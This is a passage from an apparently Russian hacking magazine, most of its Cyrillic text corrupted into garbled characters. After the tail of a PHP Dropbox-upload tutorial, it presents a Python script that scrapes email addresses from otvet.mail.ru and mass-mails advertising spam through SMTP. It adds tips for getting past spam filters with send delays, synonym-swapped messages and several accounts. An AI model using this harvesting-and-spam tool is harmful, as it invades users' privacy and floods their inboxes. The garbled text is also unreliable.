ÂÑÁÇÆÎÉÊ;
2. id ÂÌÏËÁ ÅÌà ÃÜÃÏÅÁ ÒÓÁÓÔÒÎÜÖ ÒÏÏÂÚÆÎÉÊ;
3. ÐÔÓÝ Ë Ò×ÆÎÁÑÉß, ÃÜÐÏÌÎàßÚÉÊ ÐÆÑÆÅÁØÔ ÕÁÊÌÏÃ ÏÓ ËÌÉÆÎÓÁ ÎÁ 
ÒÆÑÃÆÑ;
4. id ÂÌÏËÁ ÅÌà ÃÜÃÏÅÁ ÒÐÉÒËÁ ÈÁÄÑÔÇÆÎÎÜÖ ÕÁÊÌÏÃ.
°ÏÒÌÆÅÎÉÊ ÐÁÑÁÍÆÓÑ ÍÏÇÎÏ ÎÆ ÈÁÐÏÌÎàÓÝ. ̄ ÂÑÁÓÉ ÃÎÉÍÁÎÉÆ, Ë 
ÅÁÎÎÏÍÔ html-ÕÁÊÌÔ à ÐÑÉÌÉÎËÏÃÁÌ style.css. £ ÎÆÍ ÒÏÅÆÑÇÉÓÒà 
ÏÐÉÒÁÎÉÆ ÒÓÉÌÆÊ. ¦ÒÌÉ ÓÜ ÐÏÐÜÓÁÆÙÝÒà ÐÏÃÓÏÑÉÓÝ ÐÑÉÍÆÑ, ÓÏ ÏÂà-
ÈÁÓÆÌÝÎÏ ËÏÐÉÑÎÉ css-ÕÁÊÌ, ÉÎÁØÆ ÓÃÏà ÒÓÑÁÎÉ×Á ÓÁË É ÏÒÓÁÎÆÓÒà 
ÅÆÃÒÓÃÆÎÎÏ ØÉÒÓÏÊ.
³ÆÐÆÑÝ ÐÏÒÍÏÓÑÉÍ, ËÁË ÑÁÂÏÓÁÓÝ Ò Dropbox. «ÁË ÃÒÆÄÅÁ ÆÒÓÝ ÅÃÁ 
ÃÁÑÉÁÎÓÁ. °ÆÑÃÜÊ — ÄÉËÏÃÒËÉÊ. ¥ÔÍÁß, ÓÜ ÔÇÆ ÅÏÄÁÅÁÌÒà, ØÓÏ 
ÐÑÉÅÆÓÒà ÃÒÆ ÐÉÒÁÓÝ ÒÁÍÏÒÓÏàÓÆÌÝÎÏ. £ÓÏÑÏÊ ÐÑÏÚÆ É ÐÑÁÃÉÌÝ-
ÎÆÊ — ÃÏÒÐÏÌÝÈÏÃÁÓÝÒà ÄÏÓÏÃÜÍ ÍÏÅÔÌÆÍ. °ÏËÁ ÓÁËÉÖ ÍÏÅÔÌÆÊ ÎÆ 
ÏØÆÎÝ ÍÎÏÄÏ. ¥Ìà ÒÆÂà à ÃÜÂÑÁÌ ÒÁÍÜÊ ÐÑÏÒÓÆÎÝËÉÊ, ËÏÓÏÑÜÊ ÓÁË É 
ÎÁÈÜÃÁÆÓÒà — DropboxUploader. ²ÒÜÌËÔ ÎÁ ÆÄÏ ÈÁÄÑÔÈËÔ ÓÜ ÎÁÊÅÆÙÝ 
Ã ËÏÎ×Æ ÒÓÁÓÝÉ.
ÏÅÔÌÝ ÐÑÆÅÒÓÁÃÌàÆÓ ÒÏÂÏÊ ËÌÁÒÒ Ò ÏÅÎÉÍ ÐÏÌÆÈÎÜÍ ÍÆÓÏÅÏÍ — 
upload. °ÆÑÆÅÁØÁ ÕÁÊÌÏÃ Ã ÁËËÁÔÎÓ DropBox’Á ÃÜÐÏÌÎàÆÓÒà ÒÌÆÅÔß-
ÚÉÍ ÏÂÑÁÈÏÍ:

$uploader = new DropboxUploader('ȦȖȢȝ_ȟȢȗȜȡ', 
   'ȦȖȢȝ_ȣȔȤȢȟȰ');
$uploader->upload('ȨȔȝȟ Șȟȳ țȔȗȤȧțȞȜ', 'ȣȔȣȞȔ ȡȔțȡȔȫșȡȜȳ');

°ÏÒËÏÌÝËÔ à ÑÆÙÉÌ ÈÁÄÑÔÇÁÓÝ ÃÒÆ ÕÁÊÌÜ Ã ÐÁÐËÔ public, ÓÏ Ã ËÁØÆÒÓÃÆ 
ÃÓÏÑÏÄÏ ÐÁÑÁÍÆÓÑÁ ÍÎÆ ÓÑÆÂÔÆÓÒà ÐÆÑÆÅÁÓÝ — /pupblic. ¦ÒÌÉ ÎÆÏÂÖÏ-
ÅÉÍÏ ÈÁÄÑÔÇÁÓÝ ÕÁÊÌÜ ÐÑàÍÏ Ã ËÏÑÆÎÝ ÁËËÁÔÎÓÁ, ÓÏ ÔËÁÈÜÃÁÊ ÐÑÏÒÓÏ 
ÒÌÞÙ — '/'.
«ÏÅ ÐÑÉÆÍËÉ ÕÁÊÌÁ ÎÁ ÒÓÏÑÏÎÆ ÒÆÑÃÆÑÁ ÃÜÄÌàÅÉÓ ÒÌÆÅÔßÚÉÍ ÏÂ-
ÑÁÈÏÍ:

if(count($_FILES)>0) 
{    
   $uploader = new DropboxUploader('login', 'pass');
   $uploader->upload(

   $upload_folder.'/'.$_FILES['upload']['name'], 
   $dropbox_folder);
   
   if(move_uploaded_fi le($_FILES['upload']['tmp_name'],
      $upload_folder.'/'.$_FILES['upload']['name'] ) ) 
   {
      echo 'done';

      $uploader = new DropboxUploader('login', 'pass');
      $uploader->upload(
          $upload_folder.'/'.$_FILES['upload']['name'],
          $dropbox_folder);
   }

   exit();
}
...

¨ÅÆÒÝ à ÐÑÉÃÆÌ ËÏÅ ÒØÉÓÜÃÁÎÉà ÕÁÊÌÁ Ò ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ ÄÌÏÂÁÌÝÎÏ-
ÄÏ ÍÁÒÒÉÃÁ $_FILES. ² ÎÉÍ ÏØÆÎÝ ÔÅÏÂÎÏ É ÐÑÏÒÓÏ ÑÁÂÏÓÁÓÝ, ÎÏ ÒÓÏÉÓ 
ÐÏÍÎÉÓÝ ÏÂ ÏÅÎÏÍ ÍÁÌÆÎÝËÏÍ ÔÒÌÏÃÉÉ — ÂÑÁÔÈÆÑ ËÌÉÆÎÓÁ ÏÂàÈÁÎ 
ÐÏÅÅÆÑÇÉÃÁÓÝ ÍÆÓÏÅ ÐÆÑÆÅÁØÉ ÕÁÊÌÏÃ — sendAsBinary(). £ ÐÑÏÓÉÃ-
ÎÏÍ ÒÌÔØÁÆ ÓÆÂÆ ÐÑÉÅÆÓÒà ÒÁÍÏÒÓÏàÓÆÌÝÎÏ ÅÆËÏÅÉÑÏÃÁÓÝ ÐÏÌÔØÆÎÎÜÆ 
ÅÁÎÎÜÆ ÉÈ base64 (ÆÒÌÉ ÏÎÉ ÂÜÌÉ ÈÁËÏÅÉÑÏÃÁÎÜ ÉÍÆÎÎÏ ÞÓÉÍ ÁÌÄÏ-
ÑÉÓÍÏÍ). À ÑÆÁÌÉÈÏÃÁÌ ÏÂÁ ÃÁÑÉÁÎÓÁ. £ÓÏÑÏÊ ÓÜ ÍÏÇÆÙÝ ÐÏÒÍÏÓÑÆÓÝ 
Ã ÍÏÆÍ ÉÒÖÏÅÎÉËÆ.

Заключение
µÑÆÊÍÃÏÑËÉ ÒÔÚÆÒÓÃÆÎÎÏ ÏÂÌÆÄØÁßÓ ÐÑÏ×ÆÒÒ ÑÁÈÑÁÂÏÓËÉ web-
ÐÑÉÌÏÇÆÎÉÊ É ÐÑÉÃÉÃÁßÓ ÑÁÈÑÁÂÏÓØÉËÔ «ËÔÌÝÓÔÑÔ ÑÁÈÑÁÂÏÓËÉ», 
ÐÏÍÏÄÁßÓ ÐÉÒÁÓÝ ÂÏÌÆÆ ËÑÁÒÉÃÜÊ É ÐÑÁÃÉÌÝÎÜÊ ËÏÅ. ±ÁÒÒÍÏÓÑÆÎÎÁà 
Kohana ÏÂÌÁÅÁÆÓ ÃÆÒÝÍÁ ÐÑÉÃÌÆËÁÓÆÌÝÎÜÍÉ ÃÏÈÍÏÇÎÏÒÓàÍÉ É ÔÇÆ 
ÉÈ ËÏÑÏÂËÉ ÒÏÅÆÑÇÉÓ ÄÏÓÏÃÜÆ ÑÆÙÆÎÉà ÅÌà ÓÉÐÉØÎÜÖ ÈÁÅÁØ. °ÏÐÑÏ-
ÂÔÊ ÎÁØÁÓÝ ÉÒÐÏÌÝÈÏÃÁÓÝ Kohana Ã ÑÆÁÌÝÎÜÖ ÐÑÏÆËÓÁÖ. ́ ÃÆÑÆÎ, ÓÜ 
ÐÑÏØÔÃÒÓÃÔÆÙÝ ÆÆ ÍÏÚÝ É ÄÉÂËÏÒÓÝ É ÔÇÆ ÎÆ ÈÁÖÏØÆÙÝ ÃÏÈÃÑÁÚÁÓÝÒà 
ÎÁ ÄÏÌÜÊ php. ®Á ÞÓÏÍ ËÌÁÎàßÒÝ É ÇÆÌÁß ÓÆÂÆ ÔÅÁØÉ. «ÁË ÏÂÜØÎÏ, ÃÒÆ 
ÒÃÏÉ ÃÏÐÑÏÒÜ ÍÏÇÆÙÝ ËÉÅÁÓÝ ÎÁ ÍÜÌÏ. z

Внутренности фреймворка: реализация ORM



>> coding
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 ¡ÌÆËÒÁÎÅÑ  «herf leisch» °ÆÑÆØÎÆÃ  (www.perechnev.com)

CODING

ÑÏÀÌÈÌ 
ÎÒÂÅÒÛ@MAIL.RU

 Ê ñîæàëåíèþ (à ìîæåò áûòü, è ê ñ÷àñòüþ), ñîçäàòåëè äàæå 
â ñàìûõ êðóïíûõ ñåðâèñàõ äîïóñêàþò ïðîñ÷åòû. Â ýòîé ñòàòüå ÿ 
ðàññêàæó, êàê ñ ïîìîùüþ îäíîãî èç íèõ óñòðîèòü ñåáå áåñïëàòíóþ 
òàðãåòèðîâàííóþ ðåêëàìó, ñî ñòðàøíîé ñèëîé çàëåòàþùóþ íà 
ïî÷òîâûå ÿùèêè ïîñåòèòåëåé otvet.mail.ru.

Èñïîëüçóåì íåâíèìàòåëüíîñòü ðóêîâîäñòâà 
mail.ru â ñâîèõ öåëÿõ

Предыстория
¯ÅÎÁÇÅÜ ÍÎÆ ÐÏÓÑÆÂÏÃÁÌÏÒÝ ÐÑÉÃÌÆØÝ ÎÏÃÜÖ ÐÏÒÆÓÉÓÆÌÆÊ ÎÁ ÕÏÑÔÍ. ³ÁË 
ËÁË ÕÏÑÔÍ ÂÜÌ ØÉÒÓÏ ÞËÒÐÆÑÉÍÆÎÓÁÌÝÎÜÍ É ÂÆÒÐÆÑÒÐÆËÓÉÃÎÜÍ, ÃËÌÁÅÜ-
ÃÁÓÝ ÅÆÎÝÄÉ Ã ÑÆËÌÁÍÔ à ÎÆ ÖÏÓÆÌ. °ÏÞÓÏÍÔ ÐÆÑÃÏÆ, ØÓÏ ÐÑÉÙÌÏ ÍÎÆ Ã ÄÏÌÏÃÔ 
— ÐÏÐÑÏÂÏÃÁÓÝ ÎÆÍÎÏÄÏ ÐÏÐÉÁÑÉÓÝ ÆÄÏ ÎÁ otvet.mail.ru. °ÏÒÌÆ ÏÓÐÑÁÃËÉ 
ÐÁÑÜ-ÓÑÏÊËÉ ÏÓÃÆÓÏÃ ÒÏ ÒÒÜÌËÏÊ ÎÁ ÍÏÊ ÒÁÊÓ ÍÏÅÆÑÁÓÏÑÜ ÓÔÓ ÇÆ ÔÅÁÌÉÌÉ 
ÒÏÏÂÚÆÎÉà É ÈÁÐÑÆÓÉÌÉ ÍÎÆ ÅÏÒÓÔÐ Ë ÑÆÒÔÑÒÔ. À ÈÁÑÆÄÉÒÓÑÉÑÏÃÁÌ ÎÏÃÜÊ 
ÁËËÁÔÎÓ, ÎÏ ÐÑÏÅÏÌÇÁÓÝ Ã ÓÏÍ ÇÆ ÅÔÖÆ ÂÜÌÏ ÒÔÚÆÊ ÄÌÔÐÏÒÓÝß —  ÍÎÆ ÐÑÆÅ-
ÒÓÏàÌÏ ÖÏÑÏÙÆÎÝËÏ ÐÏÅÔÍÁÓÝ ÎÁÅ ÁÃÓÏÍÁÓÉÈÁ×ÉÆÊ ÞÓÏÄÏ ÐÑÏ×ÆÒÒÁ.
©ÓÁË, ÐÆÑÃÏÆ, ØÓÏ à ÒÅÆÌÁÌ — ÎÁÇÁÌ Ã ÂÑÁÔÈÆÑÆ ÈÁÃÆÓÎÔß ËÏÍÂÉÎÁ×Éß 
<ctrl+u> É ÒÓÁÌ ØÉÓÁÓÝ HTML-ËÏÅ ÒÓÑÁÎÉ×Ü. £ ÎÁØÁÌÆ ÒÌÆÅÏÃÁÌÉ ÒÓÁÎ-
ÅÁÑÓÎÜÆ ÓÞÄÉ, ÒÏÃÆÑÙÆÎÎÏ ÍÎÆ ÎÆ ÉÎÓÆÑÆÒÎÜÆ. ¥ÁÌÆÆ à ÔÃÉÅÆÌ ÓÆËÒÓ ÓÆÖ 
ÒÁÍÜÖ ÃÏÐÑÏÒÏÃ, ËÏÓÏÑÜÆ ÈÁÅÁßÓ ÐÏÌÝÈÏÃÁÓÆÌÉ, É ÓÔÓ ÇÆ ÍÎÆ ÎÁ ÄÌÁÈÁ 

ÒÓÁÌÉ ÐÏÐÁÅÁÓÝÒà ËÁËÉÆ-ÓÏ Æmail-ÁÅÑÆÒÁ. £ ÄÏÌÏÃÆ ÐÑÏÍÆÌÝËÎÔÌÁ ÍÜÒÌÝ: 
ÞÓÏ ÍÏÄÔÓ ÂÜÓÝ ÁÅÑÆÒÁ ÐÏÌÝÈÏÃÁÓÆÌÆÊ, ÈÁÅÁßÚÉÖ ÃÏÐÑÏÒÜ. £ÎÉÍÁÓÆÌÝ-
ÎÜÊ ÐÑÏÒÍÏÓÑ ÄÌÁÃÎÏÊ ÒÓÑÁÎÉ×Ü ÒÆÑÃÉÒÁ ÐÏÅÓÃÆÑÅÉÌ ÍÏÉ ÅÏÄÁÅËÉ, ÐÏÒÌÆ 
ØÆÄÏ à ÏÓËÑÜÌ ÒÃÏÊ gedit É ÒÓÁÌ ËÏÅÉÓÝ.

Пишем скрипт
°ÑÏÄÑÁÍÍÉÑÏÃÁÓÝ ÍÜ ÂÔÅÆÍ ÎÁ Python. ¦ÒÌÉ ÓÜ ÎÉËÏÄÅÁ ÎÆ ÑÁÂÏÓÁÌ Ò ÎÉÍ 
— ÎÆ ÐÔÄÁÊÒà. £ ÑÁÍËÁÖ ÒÓÁÓÝÉ ÃÒÆ ÂÔÅÆÓ ÏØÆÎÝ ÐÑÏÒÓÏ.
¥Ìà ÎÁØÁÌÁ ÅÁÃÁÊ ÒÏÂÆÑÆÍ ÃÒÆ email-ÁÅÑÆÒÁ Ò ÄÌÁÃÎÏÊ ÒÓÑÁÎÉ×Ü ËÁËÏÄÏ-
ÎÉÂÔÅÝ ÑÁÈÅÆÌÁ ÒÆÑÃÉÒÁ. ¥Ìà ÞÓÏÄÏ ÎÁÍ ÐÏÓÑÆÂÔÆÓÒà ÍÏÅÔÌÝ «urllib» 
ÅÌà ÈÁÄÑÔÈËÉ ÃÆÂ-ÒÓÑÁÎÉ× ÐÏÒÑÆÅÒÓÃÏÍ HTTP É ÍÏÅÔÌÝ «re» ÅÌà ÑÁÂÏÓÜ 
Ò ÑÆÄÔÌàÑÎÜÍÉ ÃÜÑÁÇÆÎÉàÍÉ. °ÏÅËÌßØÉÍ ÉÖ Ã ÒÁÍÏÍ ÎÁØÁÌÆ ÎÁÙÆÄÏ 
Python-ÉÒÖÏÅÎÉËÁ:
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import urllib
import re

¥ÁÌÆÆ Ò×ÆÎÁÑÉÊ ÑÁÂÏÓÜ ÐÑÆÅÆÌÝÎÏ ÐÑÏÒÓ: ÏÓËÑÜÃÁÆÍ web-
ÒÓÑÁÎ×Ô, ÉÚÆÍ ÎÁ ÎÆÊ ÃÒÆ ÍÜÌÝÎÉËÉ É ÉÒÐÏÌÝÈÔÆÍ ÉÖ Ã ÒÃÏÉÖ 
×ÆÌàÖ. ®Á ÐÉÓÏÎÆ ÞÓÏ ÂÔÅÆÓ ÃÜÄÌàÅÆÓÝ ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ:

while True:
    u = urllib.urlopen("http://otvet.mail.ru/it/")
    page = u.read()
    emailPattern = 
       r"[0-9a-zA-Z_\-\.]+@[0-9a-z-A-Z\.]+.[a-zA-Z]+"
    compiledPattern = re.compile(emailPattern)

    for address in compiledPattern.fi ndall(page):
            # ǤșȟȔșȠ ȫȦȢ-ȡȜȕȧȘȰ

°Ï ÁÅÑÆÒÔ http://otvet.mail.ru/it/ ÑÁÈÍÆÚÁßÓÒà ÃÒÆ ÃÏÐÑÏÒÜ, 
ÒÃàÈÁÎÎÜÆ Ò ËÏÍÐÝßÓÆÑÎÜÍÉ ÓÆÖÎÏÌÏÄÉàÍÉ. ¦ÒÌÉ ÓÜ, ÎÁÐÑÉ-
ÍÆÑ, ÈÁÖÏØÆÙÝ ÐÏÌÔØÉÓÝ email-ÁÅÑÆÒÁ ÌßÅÆÊ, ÉÎÓÆÑÆÒÔß-
ÚÉÖÒà ÒÐÏÑÓÏÍ — ÈÁÍÆÎÉ ÆÄÏ ÎÁ http://otvet.mail.ru/sport/.
¥ÁÌÆÆ Ã ÐÆÑÆÍÆÎÎÔß emailPattern ÍÜ ÐÏÍÆÚÁÆÍ ÑÆÄÔÌàÑÎÏÆ 
ÃÜÑÁÇÆÎÉÆ, ÒÏÅÆÑÇÁÚÆÆ ÙÁÂÌÏÎ email-ÁÅÑÆÒÁ. ̄  ÓÏÍ, ËÁË 
ÒÓÑÏàÓÒà ÑÆÄÔÌàÑÎÜÆ ÃÜÑÁÇÆÎÉà à ÑÁÒÒËÁÈÜÃÁÓÝ ÎÆ ÂÔÅÔ 
— ÞÓÁ ÓÆÍÁ ÃÜÖÏÅÉÓ ÈÁ ÑÁÍËÉ ÒÓÁÓÝÉ. °ÑÏÒÓÏ ÃÂÆÊ Ã Google 
ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ ÈÁÐÑÏÒ É ÔÈÎÁÊ Ï ÑÆÄÔÌàÑÎÜÖ ÃÜÑÁÇÆÎÉàÖ 
ÃÒÆ, ØÓÏ ÓÃÏÆÊ ÅÔÙÆ ÂÔÅÆÓ ÔÄÏÅÎÏ :).
£ ÒÌÆÅÔßÚÆÊ ÒÓÑÏËÆ ÍÜ ËÏÍÐÉÌÉÑÔÆÍ ÑÆÄÔÌàÑËÔ Ã ÔÅÏÂÎÜÊ 
ÅÌà ÉÎÓÆÑÐÑÆÓÁÓÏÑÁ ÃÉÅ É ÐÏÅÖÏÅÉÍ Ë ÈÁÃÆÓÎÏÊ ËÏÎÒÓÑÔË×ÉÉ:

for address in compiledPattern.fi ndall(page):

£ ÅÁÎÎÏÊ ÒÓÑÏØËÆ Ã ÐÆÑÃÔß ÏØÆÑÆÅÝ ÃÜÐÏÌÎàÆÓÒà ÍÆÓÏÅ 
findall ÏÂÛÆËÓÁ compiledPattern. ¥ÁÎÎÜÊ ÍÆÓÏÅ ÉÚÆÓ ÃÒÆ 
ÒÓÑÏËÉ Ã ÐÁÑÁÍÆÓÑÆ page, ËÏÓÏÑÜÆ ÒÏÏÓÃÆÓÒÓÃÔßÓ ÈÁÅÁÎÎÏÍÔ 
ÎÁÍÉ ÑÆÄÔÌàÑÎÏÍÔ ÃÜÑÁÇÆÎÉß. £ ÎÁÙÆÍ ÒÌÔØÁÆ ÍÆÓÏÅ findall 
ÃÆÑÎÆÓ ÒÐÉÒÏË email-ÁÅÑÆÒÏÃ, ÒÏÅÆÑÇÁÚÉÖÒà ÎÁ ÒÓÑÁÎÉ×Æ 
http://otvet.mail.ru/it/.
¢ÌÏË, ÎÁÖÏÅàÚÉÊÒà ÐÏÅ ÒÓÑÏËÏÊ for <ÈÎÁØÆÎÉÆ> in <ËÏÌ-
ÌÆË×Éà>, ÃÜÐÏÌÎÉÓÒà ÒÓÏÌÝËÏ ÑÁÈ, ÒËÏÌÝËÏ email-ÁÅÑÆÒÏÃ 

ÒÏÅÆÑÇÉÓÒà ÎÁ ÒÓÑÁÎÉ×Æ, É ÐÑÉ ËÁÇÅÏÍ ÐÑÏÖÏÅÆ Ã ÐÆÑÆÍÆÎ-
ÎÏÊ address ÂÔÅÆÓ ÒÏÅÆÑÇÁÓÝÒà ÁÅÑÆÒ ÏØÆÑÆÅÎÏÄÏ ÐÏØÓÏÃÏÄÏ 
àÚÉËÁ. ¾ÓÏ ÈÎÁØÉÓ, ØÓÏ Ã ÞÓÏÍ ÂÌÏËÆ É ÂÔÅÔÓ ÒÏÃÆÑÙÁÓÝÒà 
ÃÒÆ ÈÌÏÅÆàÎÉà, ËÏÓÏÑÜÆ ÓÏÌÝËÏ ÒÐÏÒÏÂÎÜ ÐÑÉÊÓÉ ÎÁÍ Ã 
ÄÏÌÏÃÔ. ¥ÁÃÁÊ ÂÔÅÆÍ ÏÓÐÑÁÃÌàÓÝ ÎÁ ËÁÇÅÜÊ ÐÏØÓÏÃÜÊ ÁÅÑÆÒ 
«ÎÆÇÆÌÁÓÆÌÝÎÏÆ» ÒÏÏÂÚÆÎÉÆ. ¥Ìà ÞÓÏÄÏ ÉÎÉ×ÉÁÌÉÈÉÑÔÆÍ 
ÎÆÒËÏÌÝËÏ ÄÌÏÂÁÌÝÎÜÖ ÐÆÑÆÍÆÎÎÜÖ, ÑÁÒÐÏÌÏÇÉÃ ÉÖ ÍÆÇÅÔ 
ÄÌÁÃÎÜÍ ×ÉËÌÏÍ É ÉÍÐÏÑÓÏÍ ÂÉÂÌÉÏÓÆË:

smtp_server = "smtp.mail.ru"
smtp_port = 25
smtp_address = "nickname@mail.ru"
smtp_password = "passw0rd"
mail_topic = "ǱȣȔȠ ȥȢȢȕȭșȡȜș"
mail_body = "ǧȘȤȔȖȥȦȖȧȝȦș, ȳ ȣȤȜȥȟȔȟ ȖȔȠ 
ȥȣȔȠ-ȥȢȢȕȭșȡȜș. ǤȢȕȔȖȰȦș Ƞșȡȳ, ȣȢȚȔȟȧȝȥȦȔ, 
Ȗ ȫșȤȡȯȝ ȥȣȜȥȢȞ."

¨ÅÆÒÝ Ô ÎÁÒ ÃÒÆ ÐÑÆÅÆÌÝÎÏ àÒÎÏ — ÎÁÈÃÁÎÉà ÐÆÑÆÍÆÎÎÜÖ 
ÄÏÃÏÑàÓ ÒÁÍÉ ÈÁ ÒÆÂà. ³ÆÐÆÑÝ ÑÆÁÌÉÈÔÆÍ ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ 
ÏÓÐÑÁÃËÔ ÒÏÏÂÚÆÎÉà ÁÅÑÆÒÁÓÔ. ¥Ìà ÞÓÏÄÏ ÅÏÂÁÃÉÍ ËÏÆ-ØÓÏ Ã 
ÒÐÉÒÏË ÉÍÐÏÑÓÁ:

import smtplib
from email.MIMEText import MIMEText

…É ÃÐÉÙÆÍ ÎÉÇÆÒÌÆÅÔßÚÉÊ ËÏÅ Ã ÂÌÏË ËÏÎÒÓÑÔË×ÉÉ «for-
in», ØÓÏÂÜ ÏÎ ÃÜÐÏÌÎàÌÒà ÅÌà ËÁÇÅÏÄÏ ÎÁÊÅÆÎÎÏÄÏ email-
ÁÅÑÆÒÁ:

msg = MIMEText(mail_body + address, "", "utf-8")
msg['From'] = smtp_address
msg['To'] = address
msg['Subject'] = email_topic
mailServer = smtplib.SMTP(smtp_server, smtp_port)
mailServer.login(smtp_address, smtp_password)
mailServer.sendmail(smtp_address, address, 
   msg.as_string())
mailServer.close()
usedEmails.append(address)

¾ÓÁ ÒÓÁÓÝà — ÃÒÆÄÏ 
ÌÉÙÝ ÁÅÆËÃÁÓÎÁà 
ÑÆÁË×Éà ÎÁ ÎÁÐÌÆÃÁ-
ÓÆÌÝÒËÏÆ ÏÓÎÏÙÆÎÉÆ 
ÑÔËÏÃÏÅÒÓÃÁ mail.
ru Ë ÅÁÎÎÜÍ ÒÃÏÉÖ 
ÐÏÌÝÈÏÃÁÓÆÌÆÊ. £Òà 
ÉÎÕÏÑÍÁ×Éà — ÃÐÏÌ-
ÎÆ ÏÂÚÆÅÏÒÓÔÐÎÁà É 
ÎÉØÆÄÏ ÐÑÏÓÉÃÏÈÁËÏÎ-
ÎÏÄÏ Ã ÎÆÊ ÎÆÓ.

warning

WARNING

¥ÁÇÆ ÓÁËÏÊ ÐÑÏÒÓÏÊ 
ÒËÑÉÐÓ Ã ÓÆØÆÎÉÆ ÅÃÔÖ 
ÍÆÒà×ÆÃ ÐÑÉÎÏÒÉÌ 
ÍÎÆ ÏÓ 100 ÐÏÒÆÓÉ-
ÓÆÌÆÊ Ã ÅÆÎÝ Ã ÈÁÃÉ-
ÒÉÍÏÒÓÉ ÏÓ ÑÁÈÅÆÌÁ. 
²ÆÊØÁÒ ÒÐÁÍ-ÕÉÌÝÓÑÜ 
ÎÆÍÎÏÄÏ ÐÏÔÍÎÆÌÉ, 
ÎÏ ÅÌà ÉÖ ÏÂÖÏÅÁ ÅÏ-
ÒÓÁÓÏØÎÏ ÑÆËÏÍÆÎÅÁ-
×ÉÊ ÉÈ ÁÂÈÁ×Á «¯ÂÖÏÅ 
ÒÐÁÍ-ÕÉÌÝÓÑÁ».

info

INFO

°ÏÌÎÜÊ ÉÒÖÏÅÎÜÊ ËÏÅ 
ÒËÑÉÐÓÁ ÓÜ ÎÁÊÅÆÙÝ 
ÎÁ ÅÉÒËÆ, ËÏÓÏÑÜÊ 
ÉÅÆÓ ÃÍÆÒÓÆ Ò ÇÔÑ-
ÎÁÌÏÍ.

dvd

DVDТот самый email пользователя
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£ ÒÁÍÏÍ ËÏÅÆ ÎÉØÆÄÏ ÒÌÏÇÎÏÄÏ ÎÆÓ: ÍÜ ÌÉÙÝ ÒÏÈÅÁÆÍ email-
ÒÏÏÂÚÆÎÉÆ É ÏÓÐÑÁÃÌàÆÍ ÆÄÏ ÎÁ ÐÏØÓÏÃÜÊ àÚÉË, ÒÏÅÆÑÇÁÚÉÊÒà 
Ã ÐÆÑÆÍÆÎÎÏÊ address. £ ÉÅÆÁÌÝÎÏÍ ÍÉÑÆ ÒËÑÉÐÓ ÍÏÇÎÏ ÂÜÌÏ ÂÜ 
ÈÁÐÔÒÓÉÓÝ ÎÁ ÃÜÐÏÌÎÆÎÉÆ ÔÇÆ ÒÆÊØÁÒ. ®Ï ÆÒÓÝ ÏÅÎÏ «ÎÏ», Ï ËÏÓÏÑÏÍ 
ÒÓÏÉÓ ÐÏÄÏÃÏÑÉÓÝ ÏÓÅÆÌÝÎÏ.

Обход спам-фильтра
¦ÒÌÉ ÓÜ ÂÔÅÆÙÝ ËÁÇÅÔß ÒÆËÔÎÅÔ ÒÌÁÓÝ ÏÅÉÎÁËÏÃÜÆ ÒÏÏÂÚÆÎÉà ÎÁ ËÔØÔ 
ÁÅÑÆÒÏÃ, ÓÏ ÒÐÁÍ-ÕÉÌÝÓÑÁÍ ÎÆ ÒÏÒÓÁÃÉÓ ÓÑÔÅÁ ÓÆÂà ÏÂÆÈÃÑÆÅÉÓÝ. ̄ ÅÉÎ 
ÉÈ ÃÁÑÉÁÎÓÏÃ — ÒÌÁÓÝ ÒÏÏÂÚÆÎÉà Ò ÏÅÎÏÄÏ ÁËËÁÔÎÓÁ Ò ÉÎÓÆÑÃÁÌÏÍ 20-25 
ÒÆËÔÎÅ. ¥Ìà ÞÓÏÄÏ ÅÏÒÓÁÓÏØÎÏ ÅÏÂÁÃÉÓÝ Ã ×ÉËÌ ÒÓÑÏËÔ:

time.sleep(25)

© ÉÍÐÏÑÓÉÑÏÃÁÓÝ ÒÏÏÓÃÆÓÒÓÃÔßÚÉÊ ÍÏÅÔÌÝ ÅÌà ÑÁÂÏÓÜ ÒÏ ÃÑÆÍÆÎÆÍ:

import time

£ÓÏÑÜÍ ÙÁÄÏÍ ÍÏÇÎÏ ÅÏÂÁÃÉÓÝ ÑÁÈÎÜÆ ÒÉÎÏÎÉÍÁÊÈÆÑÜ É ÑÁÎÅÏÍÁÊ-
ÈÆÑÜ, ØÓÏÂÜ ÃÒÆ ÏÓÐÑÁÃÌàÆÍÜÆ ÒÏÏÂÚÆÎÉà ÂÜÌÉ ÒÏÃÆÑÙÆÎÎÏ ÑÁÈ-
ÎÜÍÉ ÐÏ ÒÃÏÆÍÔ ÒÏÅÆÑÇÁÎÉß. ³ÁËÇÆ ÍÏÇÎÏ ÆÚÆ ÂÏÌÝÙÆ ÔÃÆÌÉØÉÃÁÓÝ 
ÉÎÓÆÑÃÁÌ ÍÆÇÅÔ ÏÓÐÑÁÃËÏÊ ÒÏÏÂÚÆÎÉÊ Ò ÏÅÎÏÄÏ ÁËËÁÔÎÓÁ, ÔÃÆÌÉØÉÃÁà 
ËÏÌÉØÆÒÓÃÏ ÐÏÓÏËÏÃ É ÒÁÍÉÖ ÁËËÁÔÎÓÏÃ. ©ÒÐÏÌÝÈÔà ÞÓÉ ÎÆÖÉÓÑÜÆ ÓÑß-

ËÉ, ÍÎÆ ÔÅÁÃÁÌÏÒÝ ÐÑÉÃÌÆËÁÓÝ ÏÓ 150 ÅÏ 400 ÎÏÃÜÖ ÐÏÒÆÓÉÓÆÌÆÊ ÎÁ ÕÏ-
ÑÔÍ ËÁÇÅÜÊ ÅÆÎÝ. © ÞÓÉ ×ÉÕÑÜ ÍÏÇÎÏ ÔÃÆÌÉØÉÓÝ ÃÏ ÍÎÏÄÏ ÑÁÈ! ̈ ÁÊÅÉ 
ÎÁ ÄÌÁÃÎÔß ÒÓÑÁÎÉ×Ô ÒÆÑÃÉÒÁ http://otvet.mail.ru É ÏÂÑÁÓÉ ÃÎÉÍÁÎÉÆ, 
ÒËÏÌÝËÏ ÐÏÒÆÓÉÓÆÌÆÊ ÒÆÊØÁÒ ÏÎÌÁÊÎ. ®Á ÍÏÍÆÎÓ ÎÁÐÉÒÁÎÉà ÞÓÉÖ ÒÓÑÏË 
ÉÖ ÂÜÌÏ 19 998. °ÑÁËÓÉØÆÒËÉ 20 ÓÜÒàØ ÐÏÒÆÓÉÓÆÌÆÊ — É ËÁÇÅÜÊ ÉÈ ÎÉÖ 
